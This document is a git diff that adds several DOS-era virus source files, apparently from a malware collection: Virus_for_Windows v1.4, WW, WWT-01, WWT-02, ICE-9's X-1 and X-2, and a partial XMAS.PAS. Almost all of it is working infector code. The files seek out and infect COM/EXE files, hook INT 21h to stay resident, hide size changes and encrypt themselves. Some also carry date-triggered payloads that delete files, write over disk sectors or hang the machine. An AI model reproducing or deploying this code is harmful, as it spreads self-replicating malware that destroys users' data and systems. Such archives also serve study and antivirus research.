+; Program Entry Point +; +; + + +wvir14 proc far + +start: + mov ax,cs + add ax,3Bh + mov ds,ax + cld ; Clear direction + push es + push ds + pop es + mov si,data_18e + mov di,data_19e + mov cx,0Dh + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + mov dx,data_17e + mov ah,1Ah + int 21h ; DOS Services ah=function 1Ah + ; set DTA(disk xfer area) ds:dx + mov dx,17Bh + xor cx,cx ; Zero register + mov ah,4Eh +loc_1: + int 21h ; DOS Services ah=function 4Fh + ; find next filename match + jc loc_2 ; Jump if carry Set + mov dx,data_18e + call sub_1 + mov ah,4Fh ; 'O' + jmp short loc_1 +loc_2: + mov dx,data_19e + call sub_2 + pop es + mov ax,4C00h + int 21h ; DOS Services ah=function 4Ch + ; terminate with al=return code + +wvir14 endp + +; +; SUBROUTINE +; + +sub_1 proc near + mov ax,3D02h + int 21h ; DOS Services ah=function 3Dh + ; open file, al=mode,name@ds:dx + jc loc_ret_4 ; Jump if carry Set + xchg ax,bx + mov si,100h + call sub_3 + jc loc_3 ; Jump if carry Set + cmp word ptr [si+14h],100h + je loc_3 ; Jump if equal + mov ax,5700h + int 21h ; DOS Services ah=function 57h + ; get file date+time, bx=handle + ; returns cx=time, dx=time + push cx + push dx + call sub_4 + pop dx + pop cx + mov ax,5701h + int 21h ; DOS Services ah=function 57h + ; set file date+time, bx=handle + ; cx=time, dx=time +loc_3: + mov ah,3Eh + int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle + +loc_ret_4: + retn +sub_1 endp + + +; +; SUBROUTINE +; + +sub_2 proc near + mov ax,3D02h + int 21h ; DOS Services ah=function 3Dh + ; open file, al=mode,name@ds:dx + jc loc_ret_4 ; Jump if carry Set + xchg ax,bx + mov si,100h + call sub_3 + jc loc_3 ; Jump if carry Set + cmp word ptr [si+14h],100h + jne loc_3 ; Jump if not equal + mov ax,5700h + int 21h ; DOS Services ah=function 57h + ; get file date+time, bx=handle + ; returns cx=time, dx=time + push cx + push dx + call sub_5 + call sub_6 + pop dx + pop cx + mov ax,5701h + int 21h ; DOS Services ah=function 57h + ; set file date+time, bx=handle + ; cx=time, dx=time + jmp short loc_3 +sub_2 endp + + +; +; SUBROUTINE +; + +sub_3 proc near + call sub_8 + cmp word ptr [si],5A4Dh + jne loc_5 ; Jump if not equal + cmp word ptr [si+18h],40h + jb loc_5 ; Jump if below + mov ax,[si+3Ch] + mov dx,[si+3Eh] + call sub_16 + mov ds:data_20e,ax + mov ds:data_21e,dx + call sub_8 + cmp word ptr [si],454Eh + jne loc_5 ; Jump if not equal + cmp word ptr [si+0Ch],302h + jne loc_5 ; Jump if not equal + cmp byte ptr [si+32h],4 + jne loc_5 ; Jump if not equal + cmp word ptr [si+36h],802h + jne loc_5 ; Jump if not equal + clc ; Clear carry flag + retn +loc_5: + stc ; Set carry flag + +loc_ret_6: + retn +sub_3 endp + + +; +; SUBROUTINE +; + +sub_4 proc near + mov ax,[si+16h] + mov dx,140h + call sub_7 + cmp word ptr ds:data_13e,3AEh + jb loc_ret_6 ; Jump if below + cmp byte ptr ds:data_14e,50h ; 'P' + jne loc_ret_6 ; Jump if not equal + mov ax,[si+0Eh] + mov dx,148h + call sub_7 + cmp word ptr ds:data_16e,4A8h + jb loc_ret_6 ; Jump if below + mov ax,ds:data_12e + call sub_15 + mov dx,1A8h + mov cx,2AEh + nop + call sub_9 + call sub_13 + mov dx,1A8h + mov cx,2AEh + nop + call sub_12 + mov ax,word ptr ds:[148h] + call sub_15 + mov dx,1A8h + mov cx,0A8h + nop + call sub_9 + call sub_13 + mov dx,1A8h + mov cx,0A8h + nop + call sub_12 + push word ptr ds:[144h] + pop word ptr ds:[1A2h] + and word ptr ds:[144h],0FEFFh + mov ax,[si+16h] + mov dx,140h + call sub_10 + xor ax,ax ; Zero register + cwd ; Word to double word + call sub_14 + push word ptr [si+14h] + pop word ptr ds:[1A0h] + mov word ptr [si+14h],100h + call sub_11 + mov ax,word ptr ds:[140h] + call sub_15 + push ds + push cs + pop ds + mov dx,100h + mov cx,2AEh + nop + call sub_12 + pop ds + mov ax,word ptr ds:[148h] + call sub_15 + mov dx,100h + mov cx,0A8h + nop + call sub_12 + retn +sub_4 endp + + +; +; SUBROUTINE +; + +sub_5 proc near + mov ax,[si+0Eh] + mov dx,148h + call sub_7 + mov ax,ds:data_15e + call sub_15 + mov dx,100h + mov cx,0A8h + nop + call sub_9 + retn +sub_5 endp + + +; +; SUBROUTINE +; + +sub_6 proc near + push word ptr ds:data_23e + pop word ptr ds:data_14e + mov ax,[si+16h] + mov dx,140h + call sub_10 + push word ptr ds:data_22e + pop word ptr [si+14h] + xor ax,ax ; Zero register + cwd ; Word to double word + call sub_14 + call sub_11 + call sub_13 + sub ax,0A8h + nop + sbb dx,0 + push ax + push dx + call sub_16 + mov dx,1A8h + mov cx,0A8h + nop + call sub_9 + mov ax,ds:data_15e + call sub_15 + mov dx,1A8h + mov cx,0A8h + nop + call sub_12 + pop dx + pop ax + sub ax,2AEh + nop + sbb dx,0 + push ax + push dx + call sub_16 + mov dx,1A8h + mov cx,2AEh + nop + call sub_9 + mov ax,word ptr ds:[140h] + call sub_15 + mov dx,1A8h + mov cx,2AEh + nop + call sub_12 + pop dx + pop ax + call sub_16 + mov cx,0 + call sub_12 + retn +sub_6 endp + + +; +; SUBROUTINE +; + +sub_7 proc near + push dx + dec ax + mov cx,8 + mul cx ; dx:ax = reg * ax + add ax,[si+22h] + adc dx,0 + call sub_14 + pop dx + mov cx,8 + jmp short loc_7 + +; External Entry into Subroutine + +sub_8: + mov dx,data_11e + mov cx,40h + +; External Entry into Subroutine + +sub_9: +loc_7: + mov ah,3Fh + int 21h ; DOS Services ah=function 3Fh + ; read file, bx=file handle + ; cx=bytes to ds:dx buffer + retn +sub_7 endp + + +; +; SUBROUTINE +; + +sub_10 proc near + push dx + dec ax + mov cx,8 + mul cx ; dx:ax = reg * ax + add ax,[si+22h] + adc dx,0 + call sub_14 + pop dx + mov cx,8 + jmp short loc_8 + +; External Entry into Subroutine + +sub_11: + mov dx,data_11e + mov cx,40h + +; External Entry into Subroutine + +sub_12: +loc_8: + mov ah,40h + int 21h ; DOS Services ah=function 40h + ; write file bx=file handle + ; cx=bytes from ds:dx buffer + retn +sub_10 endp + + +; +; SUBROUTINE +; + +sub_13 proc near + mov ax,4202h + xor cx,cx ; Zero register + cwd ; Word to double word + int 21h ; DOS Services ah=function 42h + ; move file ptr, bx=file handle + ; al=method, cx,dx=offset + retn +sub_13 endp + + +; +; SUBROUTINE +; + +sub_14 proc near + add ax,ds:data_20e + adc dx,ds:data_21e + jmp short loc_9 + +; External Entry into Subroutine + +sub_15: + mov cx,10h + mul cx ; dx:ax = reg * ax + add ax,100h + adc dx,0 + jmp short loc_9 + db 33h,0C0h, 99h + +; External Entry into Subroutine + +sub_16: +loc_9: + xchg cx,dx + xchg ax,dx + mov ax,4200h + int 21h ; DOS Services ah=function 42h + ; move file ptr, bx=file handle + ; al=method, cx,dx=offset + retn +sub_14 endp + + ;* No entry point to code + xchg cx,dx + xchg ax,dx + mov ax,4201h + int 21h ; DOS Services ah=function 42h + ; move file ptr, bx=file handle + ; al=method, cx,dx=offset + retn + db ' Virus_for_Windows v1.4 ' + db 259 dup (0) + db 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' + db 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' + db 'bbbbbbbbccccccccdddddddddddddddd' + db 'ddddddddddddddddddddddddddd*.EXE' + db 0 + db 'eeeeeeeeeeeee' + db 00h, 00h, 80h, 00h, 00h, 00h + db 5Ch, 00h, 00h, 00h + db 6Ch + db 11 dup (0) + db 4Dh, 4Bh, 39h, 32h + db 8 dup (0) + +seg_a ends + + + +;------------------------------------------------------ stack_seg_b ---- + +stack_seg_b segment word stack 'STACK' + + db 8192 dup (0) + +stack_seg_b ends + + + + end start diff --git a/w/WW.ASM b/w/WW.ASM new file mode 100755 index 0000000..333daa6 --- /dev/null +++ b/w/WW.ASM @@ -0,0 +1,225 @@ +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 100h + +ww proc far + +start: + jmp loc_2 + db 12 dup (90h) + db 0CDh, 20h +loc_2: + jmp short loc_3 + db 90h, 2Ah, 2Eh, 63h, 6Fh, 6Dh + db 00h, 00h +data_8 db 'C:\Command.Com', 0 + db 'C:\Autoexec.Bat', 0 + db 'C:\Config.Sys', 0 + db '\win' +data_12 dw 6F64h + db 'ws\win.com' + db 00h,0E9h, 0Eh, 00h, 90h,0C8h + db 01h +loc_3: + mov bx,101h + mov ah,[bx] + mov bx,102h + mov al,[bx] + xchg al,ah + add ax,3 + mov si,ax + mov ah,1Ah + lea dx,[si+2C8h] + add dx,6 + int 21h + + mov ah,4Eh + lea dx,[si+103h] + mov cx,6 + int 21h + + cmp ax,12h + je loc_7 + lea dx,[si+10Ah] + jmp short loc_6 + db 90h +loc_5: + mov ah,4Dh + int 21h + + mov ah,4Fh + int 21h + + cmp ax,12h + je loc_7 + lea dx,[si+2C8h] + add dx,24h +loc_6: + mov ah,3Dh + mov al,2 + int 21h + + mov bx,ax + mov ah,42h + mov al,2 + mov dx,0 + mov cx,0 + int 21h + + + push ax + sub ax,6 + mov dx,ax + mov ah,42h + mov al,0 + mov cx,0 + int 21h + + + mov ah,3Fh + mov cx,1 + lea dx,[si+14Bh] + int 21h + + + mov ah,byte ptr data_8+30h[si] + cmp ah,42h + jne loc_8 + jmp short loc_5 +loc_7: + jmp short loc_9 + db 90h +loc_8: + mov ah,42h + mov al,0 + mov dx,0 + mov cx,0 + int 21h + + + mov ax,3F00h + mov cx,3 + lea dx,[si+2C8h] + add dx,3 + int 21h + + + mov ax,4200h + mov dx,0 + mov cx,0 + int 21h + + + pop ax + sub ax,3 + mov byte ptr data_8+2Eh[si],al + mov byte ptr data_8+2Fh[si],ah + mov ah,40h + mov cx,3 + lea dx,[si+148h] + int 21h + + + mov ax,4202h + mov dx,0 + mov cx,0 + int 21h + + + mov ah,40h + lea dx,[si+100h] + mov cx,data_12[si] + int 21h + + + mov ax,4000h + lea dx,[si+2C8h] + add dx,3 + mov cx,3 + int 21h + + + jmp short loc_9 + db 90h +loc_9: + mov ah,3Eh + int 21h + + mov ah,41h + lea dx,[si+137h] + int 21h + + mov ah,2Ah + int 21h + + + cmp dh,2 + jne loc_14 + cmp dl,17h + je loc_10 + cmp dl,18h + je loc_11 + cmp dl,19h + je loc_12 + jmp short loc_14 + db 90h +loc_10: + mov ah,3Ch + lea dx,[si+119h] + mov cx,1 + int 21h + + jmp short loc_14 + db 90h +loc_11: + mov ah,3Ch + lea dx,[si+129h] + mov cx,1 + int 21h + + jmp short loc_14 + db 90h +loc_12: + mov al,2 +loc_13: + mov cx,96h + mov dx,0 + int 26h + + + + inc al + cmp al,4 + jne loc_13 +loc_14: + mov cx,3 + lea ax,[si+2C8h] + mov si,ax + mov di,100h + rep movsb + call sub_1 + int 20h + +ww endp + +sub_1 proc near + mov di,offset start + jmp di + db 'Why Windows ' +copyright db '(c)1992 MaZ / BetaBoys B.B' + db 90h, 90h, 90h +sub_1 endp + + +seg_a ends + + + + end start + +; +; > and Remember Don't Forget to Call < +; > ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? < +; diff --git a/w/WWT-01.ASM b/w/WWT-01.ASM new file mode 100755 index 0000000..4881746 --- /dev/null +++ b/w/WWT-01.ASM @@ -0,0 +1,78 @@ + +PAGE 59,132 + +; +; +; WWT-01 +; +; Created: 15-Mar-91 +; Passes: 5 Analysis Options on: none +; +; + +data_009E_e equ 9Eh + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 100h + +wwt-01 proc far + +start: + mov dx,offset data_013D + mov ah,4Eh ; 'N' + mov cx,1 + int 21h ; DOS Services ah=function 4Eh + ; find 1st filenam match @ds:dx + jnc loc_010E ; Jump if carry=0 + jmp short loc_012C +loc_010E: + mov dx,data_009E_e + mov ax,3D02h + int 21h ; DOS Services ah=function 3Dh + ; open file, al=mode,name@ds:dx + jnc loc_011A ; Jump if carry=0 + jmp short loc_012C +loc_011A: + mov bx,ax + call sub_012E + mov dx,80h + mov ah,4Fh ; 'O' + int 21h ; DOS Services ah=function 4Fh + ; find next filename match + jnc loc_012A ; Jump if carry=0 + jmp short loc_012C +loc_012A: + jmp short loc_010E +loc_012C: + int 20h ; DOS program terminate + +wwt-01 endp + +; +; SUBROUTINE +; + +sub_012E proc near + mov dx,100h + mov ah,40h ; '@' + mov cx,43h + int 21h ; DOS Services ah=function 40h + ; write file bx=file handle + ; cx=bytes from ds:dx buffer + mov ah,3Eh ; '>' + int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle + retn +sub_012E endp + +data_013D db 2Ah + db 2Eh, 43h, 4Fh, 4Dh, 00h + +seg_a ends + + + + end start diff --git a/w/WWT-02.ASM b/w/WWT-02.ASM new file mode 100755 index 0000000..45ee259 --- /dev/null +++ b/w/WWT-02.ASM @@ -0,0 +1,73 @@ +; Virus name WWT-02 +; Description Attack any COM file in current directory +; Comment Don't change Date/Time, ignore ReadOnly +; Date 19 Dec 1990 15:30 +; Place CICTT +; + mov dx,offset FileMask ; FileMask for any COM file + mov ah,4eh ; Find first file + mov cx,1 ; including attrib Archive + int 21h ; Call DOS + jnc Ok ; If no error -> go on + jmp short Exit ; If error -> exit program + +Ok + call Infect ; Do infection + +DoNext + mov dx,80h ; Set DS:DX to DTA + mov ah,4fh ; Find Next file + int 21h ; Call DOS + jnc NextOk ; If no error -> go on + jmp short Exit ; If error -> exit +NextOk + jmp short Ok ; Still next file exist + +Exit + int 20h ; Exit to DOS + +Infect + mov dx,9eh ; Set DS:DX to filename in DTA + mov ax,4300h ; Get file attribute + int 21h ; Call DOS + mov Attrib,cx ; Save attribute for later + xor cx,cx ; New attribute -> normal file + mov ax,4301h ; Set attribute + int 21h ; Call DOS + mov ax,3d02h ; Open file for Read/Write + int 21h ; Call DOS + jc Exit ; If error -> exit + mov bx,ax ; Save handle + mov ax,5700h ; Get file Date/Time + int 21h ; Call DOS + mov Date,dx ; Save date + mov Time,cx ; Save time + mov dx,100h ; DS:DX point to itself + mov ah,40h ; Write to handle + mov cx,offset VirusSize-100h ; Write only virus + int 21h ; Call DOS + mov ax,5701h ; Restore Date/Time + mov cx,Time ; Old time + mov dx,Date ; Old time + int 21h ; Call DOS + mov ah,3eh ; Close file + int 21h ; Call DOS + mov dx,9eh ; Set DS:DX to filename in DTA + mov cx,Attrib ; Restore attribute + mov ax,4301h ; Set file attribute + int 21h ; Call DOS + ret ; Return to caller + + +FileMask + db '*.COM',0 ; File mask for any COM file +Date + dw ? +Time + dw ? +Attrib + dw ? +VirusSize + db ? ; Used to calculate virus + ; size + \ No newline at end of file diff --git a/x/X-1.ASM b/x/X-1.ASM new file mode 100755 index 0000000..faa0d9e --- /dev/null +++ b/x/X-1.ASM @@ -0,0 +1,275 @@ + + NAME NO2 + PAGE 55,132 + TITLE ?????? + + +len equ offset key_1+4-0100h +en_len equ offset encry_and_save-offset main3 + +code segment + + org 100h + + ASSUME CS:CODE,DS:CODE,ES:CODE + + + + +main: jmp setup +main2: push cs + pop ds + + mov ds:[data_seg],es ; save data segments + mov ds:[stck_seg],ss ; save stack segment + mov ds:[stck_p],sp ; save stack pointer + mov ax,cs + add ax,10h ; set up new stack segment + xor bx,bx + dec bx ; set up new stack pointer + mov sp,bx + mov ss,ax + + call encry1 ; unencrypt rest of the virus + + mov ax,ds:[code_seg] ; calculate return segment + mov bx,es ; save the return address + add bx,10h + add ax,bx + mov word ptr ds:[ret1+1],ax + mov ax,ds:[code_ip] + mov word ptr ds:[ret2+1],ax + +main3: mov ah,2ah + int 21h + cmp dx,0305h ; check for activation date + jne label_1 ; 5 March + + mov ah,9h ; if 5 March print message + mov dx,offset msg + int 21h +crash: jmp crash ; and crash + + +label_1: push cs + pop es + mov ah,1ah ; setup new dta + mov dx,offset dta + int 21h + + mov ah,4eh + mov cx,3 + mov dx,offset filetype ; find file *.EXE + int 21h + jnc open_file +lexit: jmp exit ; if no files exit + +next_file: call close_file + mov ah,4fh + call file_int21 + jc lexit + + +open_file: mov al,byte ptr ds:[dta+15h] + xor ah,ah ; save attribs + mov ds:[file_att],ax + + xor cx,cx + call set_att ; clear attribs + + mov ax,3d02h + mov dx,offset dta+1eh ; open file + int 21h + jc lexit + mov ds:[handle],ax ; save handle + + mov ah,3fh + mov dx,offset header ; read in header + mov cx,18h + call file_int21 + + xor cx,cx ; move file pointer to + dec cx ; -4 from end of file + mov dx,-4 + call file_int21_fp + add ax,4 + push ax ; push low word of length + + mov ah,3fh + mov cx,4 ; read in 4 bytes + mov dx,offset temp1 ; which may be the marker + call file_int21 + + pop ax ; pop low word of length + mov di,offset temp1 + mov si,offset key_1 + mov cx,4 + repe cmpsb ; check to see if it is our + jcxz next_file ; marker + +adjust_len: + and ax,0fh ; pad out file so our code + mov dx,10h ; can always start at offset + sub dx,ax ; 0100h + mov cx,0 + call file_int21_fp + + mov word ptr ds:[file_size],ax ; save file len + mov word ptr ds:[file_size+2],dx + + call encry_and_save ; write our code to end of file + + mov ax,word ptr ds:[file_size] ; get file len + mov dx,word ptr ds:[file_size+2] + push ax ; store file len + push dx + + mov bx,word ptr ds:[header+08h] ; get length of + ; header + mov cx,10h + div cx ; sub it off + sub ax,bx ; length of file + + mov bx,word ptr ds:[header+16h] ; store old + mov ds:[code_seg],bx ; start address + mov bx,word ptr ds:[header+14h] + mov ds:[code_ip],bx + + sub ax,10h ; store new + mov word ptr ds:[header+16h],ax ; start address + mov word ptr ds:[header+14h],0103h + + pop dx ; get back file length + pop ax + + add ax,len ; add our length to it. + adc dx,0 + + push ax + mov cl,9 ; this bit calcs + shr ax,cl ; length DIV 512 + ror dx,cl ; and MOD 512 + stc + + adc dx,ax + pop ax + and ah,1 + + mov word ptr ds:[header+02h],ax ; write this + mov word ptr ds:[header+04h],dx ; to the header + + mov ax,4200h ; move file pointer to + xor cx,cx ; start of file + cwd + call file_int21 + + mov ah,40h ; write header + mov cx,18h + mov dx,offset header + call file_int21 + + mov cx,word ptr ds:[dta+16h] ; restore file + mov dx,word ptr ds:[dta+18h] ; time/date + mov ax,5701h + call file_int21 + + call close_file ; close file + +exit: mov ax,ds:[stck_seg] + mov bx,ds:[stck_p] + mov ss,ax ; restore ss:sp + mov sp,bx + mov ax,ds:[data_seg] + mov ds,ax + mov es,ax + +ret1: mov ax,0000h ; get return address (cs:ip) +ret2: mov bx,0000h + push ax ; push them + push bx + xor ax,ax ; clear all regs. + mov bx,ax + mov cx,ax + mov dx,ax + mov si,ax + mov di,ax + retf ; return to old code + +close_file: mov ah,3eh ; close file. + call file_int21 + mov cx,ds:[file_att] ; restore old attribs + call set_att + + +set_att: mov ax,4301h + mov dx,offset dta+1eh + jmp file_int21 + +; tell 'em who wrote it. this is never displayed. + + db '[X-1]',00h + db 'ICE-9',00h + +; bellow is the message that the virus displays. + +msg db ' ICE-9 Presents',0dh,0ah + db ' In Association with',0dh,0ah + db ' The ARcV',0dh,0ah + db ' [X-1]',0dh,0ah + db 0ah,07h,0dh + db 'Michelangelo activates',0dh,0ah + db ' -< TOMORROW >-',0dh,0ah + db '$' + +filetype db '*.EXE',00h +code_seg dw 0h +code_ip dw 0h + +encry_and_save: mov ah,2ch ; get new key + int 21h + or dx,dx + jz encry_and_save + mov byte ptr ds:[key_1-1],dh + call encry1 ; encrypt virus + mov ah,40h + mov cx,len + mov dx,offset main ; save virus + call file_int21 + jmp encry1 ; unencrypt + +file_int21_fp: mov ax,4202h +file_int21: mov bx,ds:[handle] + int 21h + ret + + +encry1: mov si,offset main3 + mov cx,en_len +un1: xor byte ptr ds:[si],01h ; very simple XOR +key_1: inc si ; encryption + loop un1 + ret + +; end of the virus + + +setup: mov ax,20cdh + mov ds:[0100h],ax ; this is just used to + mov ds:[code_seg],-10h ; set up values for + mov ds:[code_ip],0100h ; first time the virus is exec'ed + call encry1 ; it is NOT part of the virus. + jmp main2 + +handle dw 0h ; lots of data +header db 20h dup (?) +data_seg dw 0h +stck_seg dw 0h +stck_p dw 0h +file_size dd 0h +temp1 db 5 dup (?) +dta db 6fh dup (?) +file_att dw 0h + +code ends + +end main \ No newline at end of file diff --git a/x/X-2.ASM b/x/X-2.ASM new file mode 100755 index 0000000..f978a04 --- /dev/null +++ b/x/X-2.ASM @@ -0,0 +1,386 @@ + + NAME X_2 + PAGE 55,132 + TITLE ????? + + +len equ offset handle-0100h +en_len1 equ offset encry_and_save-offset main2 + + +code segment + + ASSUME CS:CODE,DS:CODE,ES:CODE + + org 100h + + + +main: jmp set_up ; set up for first execution of virus + +main1: call next_line ; find out offset of code +next_line: pop si + sub si,offset next_line + call level1 ; unencrypt virus +main2: mov ax,cs + mov ds,ax ; set DS == CS + mov ds:[data_seg+si],es ; store date seg + mov ds:[stck_seg+si],ss ; store stack seg + mov ds:[stck_p+si],sp ; store stack pointer + mov ax,cs ; set up new SS and SP + xor sp,sp + dec sp + add ax,10h + mov ss,ax + + mov ax,ds:[code_seg+si] ; calculate return address + mov cx,ds:[code_ip+si] + mov bx,es + add bx,10h + add ax,bx + mov word ptr ds:[ret1+1+si],ax ; save it + mov word ptr ds:[ret2+1+si],cx +check_instal: mov ax,0fa09h ; check for prev. installation + int 21h + cmp ax,-0fa09h + je in_mem + + +inst: call install ; install into mem + +in_mem: mov ax,ds:[stck_seg+si] ; get old vals for SS, SP, DS + mov bx,ds:[stck_p+si] + mov cx,ds:[data_seg+si] + mov ds,cx ; restore them + mov es,cx + mov ss,ax + mov sp,bx + xor si,si + xor di,di + +ret1: mov ax,0000h ; get return address +ret2: mov bx,0000h + push ax + push bx + retf ; return to old code + + +adjust_handle: push si ; store regs. + push es + push bx + push ax + mov ah,2fh ; find current DTA + int 21h + pop ax + test ah,40h ; is it FCB or Handle + jz fcb_adjust + call i21 ; do it. + pushf + jc dont_adjust ; if we got an error just exit + mov al,byte ptr es:[bx+16h] + and al,1fh ; check for stealth marker + cmp al,1eh + jne dont_adjust + sub word ptr es:[bx+1ah],len ; adjust length + sbb word ptr es:[bx+1ch],0 +dont_adjust: popf +dont_adjust_fcb: pop bx + pop es ; restore regs + pop si + retf 2 ; return + +fcb_adjust: call i21 ; do FCB find + cmp al,0ffh ; if error just exit + je no_fcb_match + xor si,si + cmp byte ptr es:[bx],0ffh ; is it an extended FCB + jne fcb_alter + add si,7h +fcb_alter: mov al,byte ptr es:[bx+si+17h] + and al,1fh ; check for stealth marker + cmp al,1eh + jne no_fcb_match_al0 + sub es:[bx+si+1dh],len ; adjust length + sbb word ptr es:[bx+si+1fh],0h +no_fcb_match_al0: xor al,al +no_fcb_match: jmp dont_adjust_fcb + +new21: cmp ax,0fa09h ; show we're installed + jne check_for_handle + neg ax + retf 2 +check_for_handle: cmp ah,4eh ; just checks to see which + je adjust_handle ; sub-function of INT21 + cmp ah,4fh ; they are doing + je adjust_handle + cmp ah,11h + je adjust_handle + cmp ah,12h + je adjust_handle + cmp ah,4bh + je check_infect + cmp ah,3dh + je check_infect +chain_21: jmp cs:[int21] + +debug_print: xor bx,bx + mov ax,0010h + mov ss,bx + mov sp,ax + pop cx + +check_infect: push ax ; save all regs + push bx + push cx + push si + push di + push es + push ds + push dx + mov di,dx + mov cx,6fh + mov al,'.' + cld + push ds + pop es + repnz scasb + cmp ds:[di+1],'EX' ; is file .EXe + je infect_file +pop_all: pop dx + pop ds +pop_bits: pop es + pop di + pop si + pop cx + pop bx + pop ax + jmp chain_21 + +infect_file: mov ax,4300h ; get attribs + call i21 + mov cs:[file_att],cx ; save them + xor cx,cx + call set_attr ; clear attribs + + mov ax,3d02h ; open file + call i21 + push cs + pop ds + mov ds:[handle],ax ; store handle + + mov ax,5700h ; get file time/date + call file_int21 + mov ds:[file_time],cx ; save file time/date + mov ds:[file_date],dx + + mov ah,3fh + mov dx,offset header ; read in header + mov cx,18h + call file_int21 + + mov ax,4202h ; move file pointer to + xor cx,cx ; -4 bytes from end of file + dec cx + mov dx,-4 + call file_int21 + add ax,4 ; get real length + adc dx,0 + + mov word ptr ds:[file_len],ax ; save length + mov word ptr ds:[file_len+2],dx + + + mov ah,3fh ; read in 4 bytes which + mov cx,4 ; may be our marker + mov dx,offset temp1 + call file_int21 + + + mov di,offset temp1 + mov si,offset marker + mov cx,4 + push cs + pop es + repe cmpsb ; check for marker + jcxz pop_all + + + mov ax,word ptr ds:[header+14h] + mov bx,word ptr ds:[header+16h] + mov ds:[code_seg],bx ; get old start address + mov ds:[code_ip],ax + + call encry_and_save ; write our virus to end of file + + mov ax,word ptr ds:[file_len] + mov dx,word ptr ds:[file_len+2] + + + push ax + push dx + + mov bx,word ptr ds:[header+08h] ; get header length + + mov cx,10h ; sub it from total length + div cx + + add bx,10h + sub ax,bx + + mov word ptr ds:[header+16h],ax ; store new start seg + + add dx,0103h + mov word ptr ds:[header+14h],dx ; store new start offset + + pop dx + pop ax + + add ax,len + adc dx,0h + + push ax ; calculate new length + mov cl,9 ; DIV 512 + shr ax,cl ; MOD 512 + ror dx,cl + stc + + adc dx,ax + pop ax + and ah,1 + + mov word ptr ds:[header+02h],ax ; write this length + mov word ptr ds:[header+04h],dx ; to header + + mov ax,4200h ; move file pointer to + xor dx,dx ; start of file + mov cx,dx + call file_int21 + + mov ah,40h ; write new header + mov dx,offset header + mov cx,18h + call file_int21 + + mov cx,ds:[file_time] ; get old file time/date + mov dx,ds:[file_date] + or cl,1fh ; place our stealth marker + and cl,0feh ; in second part of time + mov ax,5701h ; write this time/date to + call file_int21 ; file + + + mov ah,3eh ; close file + call file_int21 + + mov cx,ds:[file_att] + pop dx + pop ds + call set_attr ; restore old attribs + + jmp pop_bits ; pop all regs + + +install: push ds ; adjust MCB to get 3 Kbytes at top + mov ax,es ; of memory + dec ax + mov es,ax + cmp byte ptr es:[0],5ah + jne old_prog + mov ax,es:[3] + sub ax,0bch + jb old_prog + mov es:[3],ax + sub word ptr es:[12h],0bch + mov es,es:[12h] + + + mov di,0100h ; move our code to top of memory + lea ax,[0100h+si] + mov cx,len+5 + push cs + pop ds + cld + xchg ax,si + repnz movsb + xchg ax,si + + + mov ax,0008h ; get and change INT21 vector + mov ds,ax + mov ax,offset new21 + mov bx,es + xchg word ptr ds:[0004h],ax + xchg word ptr ds:[0006h],bx + cli + mov word ptr es:[int21],ax ; store it our code + mov word ptr es:[int21+2],bx + sti +old_prog: pop ds + ret + + + db '[X-2]',00h + db 'ICE-9, -< ARCV >-',00h + db 'Made in England. ' + db 'Hi I',39,'am called X-2, get my name right! ' + db 'Look out for the X-3 twins.' + + + +encry_and_save: xor si,si ; get new key +retry: mov ah,2ch + call i21 + cmp dh,0h + je retry + mov byte ptr cs:[marker-1],dh + call level1 ; encrypt virus + mov ah,40h ; write code + mov cx,len + mov dx,offset main + call file_int21 + call level1 ; unencrypt our code + ret + +code_seg dw 0fff0h +code_ip dw 0h + + +set_attr: mov ax,4301h +file_int21: mov bx,ds:[handle] +i21: pushf + call cs:[int21] + ret + + +level1: lea di,(main2+si) + mov cx,en_len1 +un1: xor byte ptr cs:[di],01h +marker: inc di + loop un1 + ret + +; end of virus + +handle dw 0h +stck_seg dw 0h +data_seg dw 0h +stck_p dw 0h +file_time dw 0h +file_date dw 0h +file_att dw 0h +file_len dd 0h +code_off db 0h +temp1 db 5 dup (?) +header db 18h dup (?) +int21 dd 0h + +set_up: xor si,si + mov ds:[code_seg+si],-10h + mov ds:[code_ip+si],0100h + mov ds:[0100h+si],20cdh + call level1 + jmp main1 + +code ends + +end main \ No newline at end of file diff --git a/x/XMAS.PAS b/x/XMAS.PAS new file mode 100755 index 0000000..175dab5 --- /dev/null +++ b/x/XMAS.PAS @@ -0,0 +1,179 @@ +{ + + XMAS Virus, a non-resident spawning .EXE infector by Glenn Benton + To be compiled with Turbo Assembler 6.0 + + Files required : XMAS.PAS - Viral part (this one) + XMAS.OBJ - Music data (composed by myself!) + PLAYIT.TPU - Music player engine + + Set the environment variables for different effects : + + SET XMAS=YES (Disable virus) + SET XMAS=TST (Plays the music only) + SET XMAS=DEL (Deletes the virus when a program is started) + + The compiled virus example is compressed and uses 6888 bytes... + + On 25th and 26th the virus activates, playing the music and + wishes you a merry X-mas (nice of me, isn't it?) + + +} + +Program Xmas; + +{$M 4096,0,512} + +Uses Crt, Dos, Playit; + +Label StartOrig; + +Var + Year, Month, Day, DayOfWeek : Word; + DirInfo : SearchRec; + ComSeek : SearchRec; + FileFound : Boolean; + FileName : String; + Parameters : String; + OrigName : String; + P : Byte; + ExtHere : Boolean; + Teller : Word; + StopChar : Char; + FromF : File; + +{Dit is de data van het te spelen liedje} +{$L XMAS.OBJ} +Procedure Christmas; EXTERNAL; + +{Deze routine wordt aangeroepen als het 25 of 26 december is} +Procedure Active; +Begin; +StopChar := #0; +ClrScr; +GotoXY(32,5); +WriteLn('Merry Christmas'); +GotoXY(38,7); +WriteLn('and'); +GotoXY(31,9); +WriteLn('A Happy New Year!'); +GotoXy(31,11); +WriteLn('Wished To You By:'); +GotoXy(34,17); +WriteLn('Glenn Benton'); +GotoXy(27,24); +WriteLn('Press any key to continue'); +Repeat + PlayOBJ(@Christmas, TRUE, StopChar); +Until StopChar<>#0; +End; + +{Deze procedure zoekt een EXE file waarvan er geen COM is en stuurt het + resultaat in de boolean FileFound en de naam van het te maken COM bestand + in FileName} +Procedure FileSeek; + +Label Seeker, FileSeekOk; +Begin; +FileFound:=False; +FindFirst('*.EXE',Anyfile,DirInfo); + +Seeker: +If DosError=18 Then Exit; +FileName:= DirInfo.Name; +Delete(FileName,Length(FileName)-2,3); +Insert('COM',FileName,Length(FileName)+1); 